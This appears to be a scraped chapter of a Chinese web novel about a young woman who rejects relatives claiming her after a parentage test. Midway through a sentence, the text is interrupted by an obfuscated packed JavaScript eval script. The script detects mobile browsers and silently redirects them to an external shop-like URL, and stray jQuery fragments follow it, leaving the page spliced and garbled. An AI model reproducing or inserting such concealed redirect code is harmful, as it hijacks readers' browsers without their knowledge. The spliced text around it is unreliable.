祝温如是谁啊?
在图书馆看书的时候,祝容时一边看一边漫不经心的想。
祝温如,是网络小说《白月光修炼手册》里的反派角色,是作者笔下一个标准的恶毒女配,是男女主爱情的拦路虎、垫脚石,却唯独不是她自己!
因为她的人生在最开始就被人掌控在键盘之下。
容若珩说,祝温如是他姐姐容瑾瑜的女儿,是他出生不久就被人偷走的外甥女,是他们,这么多年一直在寻找的人……
可如果他们真的这么在乎她,当初祝温如怎么会被人偷走?为什么她只不过是改了个名字,他们就找不到她了?难道是这个世界神奇的剧情力量?所以这个世界剧情里的人物,找不到改名换姓的人?
而眼下,她才刚和谢君尧这个小说男主扯上关系多久,怎么立刻就有人注意到她了?
一连串的问题令祝容时脑子里杂乱无序,顺带着连书也看不进去,于是她干脆还了书回宿舍睡觉。
这一觉睡到下午五点,刚好到了开饭的时候,于是她走出宿舍楼准备去食堂用餐,然而才刚走出宿舍大门,她迎面便遇到了一位眼下十分不想看见的人物。
容若珩拿着鉴定结果,定定的向她走来:“祝容时,我想和你谈谈。”
祝容时当即一怔,随即她回道:“教授,我已经说过了,我不想知道结果。”
容若珩视若未闻,只自顾自道:“这里并不是适合说话的地方,还是你真想在这里谈?”
祝容时深吸了口气,心里一股无名火油然而生,语气也冷了许多:“我说过了,容教授,我不想知道结果!也不想和您谈!”
说完,祝容时越过容若珩便走下台阶。
容若珩被她森冷的语气震惊了片刻,但很快回过了神,他转身两三步走下台阶,一把抓住祝容时的手腕,顺势拉着她就往自己停车的地方走去。
手腕上传来的力道大得惊人,那是一种完全无法抗衡的压迫感。祝容时只觉得自己的尊严随着这股蛮力被一点点碾碎。
这时候本来就是学校就餐的时间,去停车场这一路上人来人往,不少人的视线往他们这里看来,其中也不乏有人指指点点。
祝容时不在乎别人的看法,但她知道积毁销骨的道理,于是她用力闭了闭眼,选择暂时妥协:“我自己走,你放开我。”
容若珩面不改色道:“拉着你我比较放心,别怕,不会有任何流言蜚语,就算有,容家也会解决的。”
“然后,”祝容时冷冷道,“我凭本事得到的一切,最后都会归功于你口中的容家。我这么多年的坚持和努力都会彻底不复存在。”
容若珩淡淡道:“不会,别担心,这些事情很好解决,并不会如你所想的那样。”
祝容时反问:“那你说会是哪样?”
容若珩一怔,手上的力道不自觉松了些许,祝容时趁此机会挣开他的手:“我最讨厌的就是不尊重我的人。”
闻言,容若珩当即便愣住了,伸出的手也僵在了半空。
祝容时揉了揉被捏疼的手腕,一字一句近乎咬牙切齿:“容教授,您在这世上活了这么多年了,难道都没有人教过你,要懂得尊重他人意愿吗?”
“还是你从心里就认定,我祝容时一个孤儿,根本不必被人尊重?”
字字句句,清晰入耳,却震得人久久不能回神。
容若珩面色一变,他下意识开口想要解释,但思及方才的举动,所有言语在此刻都显得无比苍白。
就在二人僵持这片刻工夫,一辆车好巧不巧停在了他们面前。
车上下来了一位年轻人,那人一身休闲服饰,五官精致眉眼锐利,与祝容时至少有五分相似。
此人刚下车便走到了容若珩身边,唤了一声:“舅舅。”
随后便将目光移到了祝容时身上,在看见她的一瞬间,神色莫名。
祝容时在看到此人的瞬间,忍不住笑了,她扫了此人一眼,随后将目光落在容若珩身上:“容教授,我记得你刚才说的是,你想和我谈谈,这其中并不包括其他人吧?”
容若珩沉声道:“是。”
“既然这样,那我们还有谈的必要吗?”祝容时道。
容若珩沉默了,他想到这个人会来,却唯独没想到,他来得这么快。
这人是祝容羲,是容瑾瑜和祝盛蹊的长子,也是祝容时的大哥。
祝容羲在容若珩与祝容时二人之间打量片刻,最后十分平静的道:“我是其他人吗?”
祝容时眼下看谁都不顺眼,听到这句话当即反问:“不是吗?”
祝容羲沉默片刻,开口道:“我是你大哥。”不是其他人。
这话一出,祝容时当即便笑了:“我都当了这么多年孤儿了,怎么以前从没人出现在我面前,说什么我是你大哥啊?”
祝容羲道:“以前没找到。”
祝容时:“难不成现在是你找到的?”
祝容羲声音低了不少:“以前没有想到,你就在这里……”
“所以你们过去的十多年里是去全国各地大海捞针了?没想到我在这里?那我过去的十多年里要是有一天偷懒懈怠,导致昨天没能坐在容教授的课堂上,是不是你们就永远找不到我了?”祝容时的语速不快不慢,刚好够他们听清。
“所以并不是你们找到我,而是我凭本事站到了你们面前,才会让你们纡尊降贵的看我一眼,怀疑并发现我的身份!否则的话,为什么我只是改了个名字,你们就找不到祝温如了呢?”
言辞犀利,角度清奇,祝容时这张嘴是十足十的气人,也是十分的得理不饶人。容若珩和祝容羲被她气得面色发白:
“你怎么能这么想我们?”
“怎么不能?为什么不能?凭什么不能?”祝容时激烈反驳,“我一早就说了,我对鉴定结果没有兴趣,“没有”这两个字跟难理解吗?为什么你们一个个都无视我的意愿?对我发出的声音视若未闻?!既然在找我那为什么找到我却不尊重我?!”
“尊重一个人很难吗?还是尊重我,听听我说的话很难?是我说的不是人话,还是我不配让你们尊重?”
祝容时红着眼控诉着,言辞激烈,态度决绝,谁也没有想到,她的反应会这样剧烈。
为什么?为什么无论是前生还是今世,这些和她扯上点关系的人,都要来对她指手画脚?宣翾是,现在的容若珩也是……她就那么没有资格让人尊重吗?为什么每一次都要她激烈的反抗控诉,这些人才会愿意纡尊降贵的来听听她发出的声音?
容若珩终于放下手,但他的手却已经颤抖的不成样子,他上前几步,声音弱了不少,祝容时听见他说:“我只是想让你见一见你的亲人,然后一起吃一顿饭,再好好聊聊。”
祝容时哼笑一声,把他说的话当屁放了:“容教授,您一开始可没和我这么说过。”
“再者,我只说对结果没有兴趣,但似乎从没有说过不愿意见他们,我的态度很明确,一直都是可以见面,但要我主动去见他们是不可能的!我更不可能和他们住在一个屋檐下!”
祝容羲从未想到,自己一家人找了这么多年的妹妹,会是这样一个人。
他静静地打量着祝容时,不曾有一瞬移开视线,她和父亲祝盛蹊长得很像,唯独眉眼像极了母亲,明明这么像,为什么性情如此激烈,和他们几乎天渊之别……
是因为这么多年一直流落在外的原因吗?还是她生性如此?
祝容羲不知道,但他现在,对这位妹妹的第一印象,确
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548355|204250||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
实大打折扣,她很特别,但不像他期待中妹妹的样子。
良久,祝容羲上前一步,伸出手:“我是祝容羲。”
他没有再说自己是她大哥的言论,他想从一个普通路人开始,慢慢了解他失散多年的妹妹。
祝容时看着他伸出的手,视线在他的手和容若珩身上来回,终于,她伸出手,轻轻与他相握:“祝容时。”
祝容羲很有分寸,轻轻一握随即松开:“可以找个地方坐一会儿吗?我想和你说几句话。”
祝容时沉吟不语,心里暗忖祝容羲和容若珩此人表面上看的确不同,但有句话叫不是一家人不进一家门吗?人都是会伪装会演戏的。
祝容羲从她的沉默中看见了她的拒绝,于是选择再退一步,他回到车上取下一份来之前就已经准备好的资料,递到祝容时面前:“这是我准备好的家人的资料,我希望你可以看看。”
祝容时抬手接过,祝容羲松手的时候,忍不住开口问她:“你的名字本该是祝温如,“温如”这两个字刻在舅舅送你的长命锁上,这东西是我们找寻你的线索,我们以为你会一直都叫这个名字……为什么会改了名字?”
祝容时现下也平静了些许:“因为我不喜欢那个名字。”
“那我可以问问,是谁为你取的这个名字吗?”祝容羲道。
“这与你无关。”祝容时拿着资料的手放下,“还有别的事吗?”
祝容羲摇摇头:“没有了。”
祝容时点点头:“那就有缘再见。”
话音落下,祝容时转身走向学校食堂。
转身的瞬间,祝容时藏在袖子里的手微微颤抖,但她死死掐着掌心,没有让自己露出半分软弱。
容若珩与祝容羲静静的看着她离开,直到再看不见她的背影。
片刻后,容若珩上前一步,抬手拍了拍祝容羲的肩膀:“走吧,先回去和你父母说一下她的情况。”
祝容羲摇了摇头,转身走向匆忙之中停在路上的车,容若珩落后他两步。二人一前一后坐上车,而后掉头离开学校。
车子驶出校门,祝容羲看着前方,突然没头没尾的说了一句话:“她像一只刺猬。”
容若珩没听清:“什么?”
祝容羲道:“容时,她像一只刺猬,提防着每一个突然出现在她身边的人。”
容若珩顿时愣住了:“可她为什么?”鉴定结果都出来了,为什么她会有那么大的反应?
祝容羲沉吟片刻,道:“让人去查查,我想知道她这些年到底经历了什么。”
容若珩闻言轻轻摇头:“我已经让人查过了,她过去这些年日子过得不说有多顺利,但称得上是平淡无波的,除了前几日,意外遇见了谢氏集团现任掌权者。”
“谢君尧?”祝容羲面露不解,“今天之前,他和容时是天差地别吧?他怎么会和容时有联系?”
容若珩道:“是因为他的终身大事,和一个名为宣翾的女孩牵线搭桥。”
“他还拿出了一份合约,容时和他领证结婚,他给容时一个亿和一套房。”
祝容羲想都不必想便知道结果:“容时拒绝了,并且怀疑他居心不良,进而也怀疑我们这些突然出现的所谓亲人。”
她生活在普通人的世界里,害怕着未知的一切,尤其当那一切与他们这些家世不凡的人有关系的时候,她会更加警惕,她除了一条命什么都没有,每个不寻常的人出现在她身边,她都会忍不住怀疑,那人是不是对她别有所图。
容若珩无奈长叹一声:“对她,我现在是真没辙了,这几天你让人注意着,今天闹的这么难看,也不知道后面会不会有什么流言蜚语,如果有你处理一下,别影响到她。”
祝容羲点头应下:“我知道了。”